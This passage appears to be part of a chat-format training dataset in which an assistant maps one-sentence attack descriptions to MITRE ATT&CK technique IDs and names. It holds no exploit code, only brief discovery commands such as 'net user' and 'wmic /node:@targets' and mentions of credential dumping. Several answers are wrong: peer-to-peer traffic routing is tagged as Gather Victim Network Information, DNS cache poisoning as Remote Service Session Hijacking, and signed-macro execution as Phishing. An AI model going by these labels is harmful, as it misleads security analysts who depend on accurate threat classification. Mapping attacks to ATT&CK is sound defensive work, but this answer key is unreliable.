                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers create a custom systemd unit that runs a reverse shell at boot time."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a password cracking tool to systematically test passwords against an FTP server's authentication."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is stored in /usr/lib/systemd/system and executed through a crafted .timer file that triggers daily."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using WMI, the malicious code requests the Win32_OperatingSystem property \"LocalDateTime\" to discover the host's time settings."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A covert operation leverages port knocking by repeatedly probing a set of closed ports in a predefined pattern, which, once recognized, opens a hidden service port for the attacker."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages compromised IoT sensors on roadways to report false accident data, prompting emergency rerouting."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro calls 'CreateToolhelp32Snapshot' to capture a list of all processes running on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Outlook add‑in is installed via Group Policy, causing code execution each time Outlook starts."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies firmware to deactivate the crypto co‑processor, resulting in weakened encryption protection."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors set up a load balancer as a proxy to distribute malicious traffic across several compromised hosts, reducing detection probability."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies an existing launch agent to point to a new malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a valid AWS IAM user credential and log into the victim's cloud console to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a post‑exploitation phase, the intruder injects a custom password filter DLL via the SetWindowsHookEx API, capturing passwords entered during login and privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Exfiltration Over Physical Medium technique by writing data to a CD and mailing it to an external address."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in an Office document triggered an exploit for a recent Office vulnerability, giving the attacker a credential‑dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes \"adb shell pm list packages -f\" on an Android device to enumerate installed apps."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker gains admin rights on a compromised on-premises AD server and modifies the Azure AD Connect configuration to inject forged authentication tokens for cloud services."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan disguises its background service as 'spoolsv.exe' to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit changes KernelCallbackTable entries to point to attacker-controlled code, achieving privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-compromise script ran \"wmic /node:@targets\" to enumerate remote Windows systems and gather their operating system details."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits the PrintScreen key via a custom DLL to harvest screen contents and transmit them over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a scheduled task to run \"net stop \" and terminate the \"Remote Registry\" service, limiting system configuration changes."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the domain's Group Policy Objects to add a new scheduled task that runs with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor changes the Windows registry to disable security features like DEP, effectively downgrading the system's defense mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages a peer-to-peer network to route its traffic through benign-looking nodes, evading network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the 'net user' command, the intruder enumerates all local user accounts on the target system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor abuses the ROMMON console on a network device, injecting a rogue IOS image via TFTP during boot."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deployed on a compromised host calls the Azure API to provision an unauthorized service principal."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker edits the auditctl configuration to ignore all syscall events, rendering audits useless."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses API hooking to intercept and modify system calls of a process, changing its behavior at runtime."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor installs an XPC service that listens for commands over a named pipe, allowing remote control of the infected macOS system."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script uses 'sc create' to register a service that launches a payload on system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a misconfiguration to set the cloud firewall to 'allow all' mode, bypassing network segmentation controls."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary’s technique involves LNK icon smuggling, where a shortcut’s icon is swapped with an innocuous image to mask the execution of a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a .dmg that, when opened, adds a hidden helper tool to the user's Login Items via the defaults write command, providing persistent execution."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary injects malicious JavaScript into a compromised third‑party website to steal session cookies from visitors."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a misconfigured AWS S3 bucket used by a server to store logs, gaining read/write access."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script applies percent‑encoding to embedded data URLs to bypass filters."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder alters the domain policy to automatically add the attacker’s account to the Domain Admins group."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses unauthenticated HTTP GET requests against the container orchestration platform's secret management API to download credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchased a zero‑day exploit for a popular web server and used it to inject a web shell, thereby obtaining new capabilities on the target network."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the Windows CreateProcess API in conjunction with NTFS transactions, the attacker runs unsigned code under the guise of a trusted process."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a payload that is executed by invoking mmc.exe with a crafted snap‑in."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised application drops a launch agent plist in ~/Library/LaunchAgents to run a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the built‑in forwarding rule capability to exfiltrate email data by sending it to an external mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor attached a rogue external SSD to the victim’s computer, using it to store stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a vulnerability to corrupt the system's DNS cache, disrupting network resolution."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs Mimikatz on a compromised Windows host to dump LSASS memory and retrieve user credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the BIOS firmware to embed a hidden rootkit that executes during system initialization."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a Windows Registry Run key that references a network share path, causing the system to load a malicious executable from the share at startup."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary placed a .lnk file in the \\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup path to execute a backdoor upon system boot."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use steganography to hide small pieces of exfiltrated data within innocuous files, transmitting them under the radar of size‑based monitoring."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using registry tampering, the malicious code changes the service's start parameters to launch a trojan."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a misconfigured AWS S3 bucket to enumerate and hijack backend server instances."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses credential stuffing against a VPS management portal, gaining admin rights and installing a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious transaction in the Windows Registry and uses it to spawn a new process that appears legitimate, effectively hijacking the process creation flow."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerability to gain low‑level disk access and performs a firmware‑level wipe of the drive."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a signed DLL signed with a valid certificate, drops it into the Terminal Services directory, and registers it to run with the service."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor reads /proc/[pid]/cmdline to extract embedded credentials from command line arguments."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exfiltration routine checks the organization’s file‑transfer policy and ensures each file is no larger than 300 KB."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses signed Microsoft Office macros to execute code while bypassing macro block policies."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queried the victim's router via its web management interface to retrieve routing tables and NAT settings."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware distributes a .lnk file whose icon is set to a common system icon, but the shortcut actually loads a hidden PowerShell script from the %TEMP% directory."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group accesses the LSASS address space via ProcDump to harvest Windows credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a custom script to pull saved login data from the Chromium \"Web Data\" SQLite database."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits LSASS process memory by injecting a custom shellcode payload that resides only in RAM, evading file detection."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a new process under the context of a known system service, then removes the original service process, so the malicious activity inherits the service's process ID and name."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary configures a scheduled task to run a DLL planting a persistence mechanism each time a specific user logs on."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider plants a script in the accounts payable workflow that creates duplicate payments for the same invoice, sending the extra funds to a shell corporation."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs an IPsec tunnel to protect its command and control traffic from network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised email server to send encrypted C2 instructions via SMTP."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a fake COM object with the same name as a legitimate one and registers it in a higher-precedence location, hijacking the lookup process."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection script reads the /etc/passwd file on a Linux machine to discover local user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor purchases a bullet‑proof hosting service to hide command‑and‑control traffic."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor forges a Kerberos ticket after compromising the domain's KRBTGT account, enabling them to move laterally with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised GCP console to change firewall rules, opening ports for external access."
            },
            {
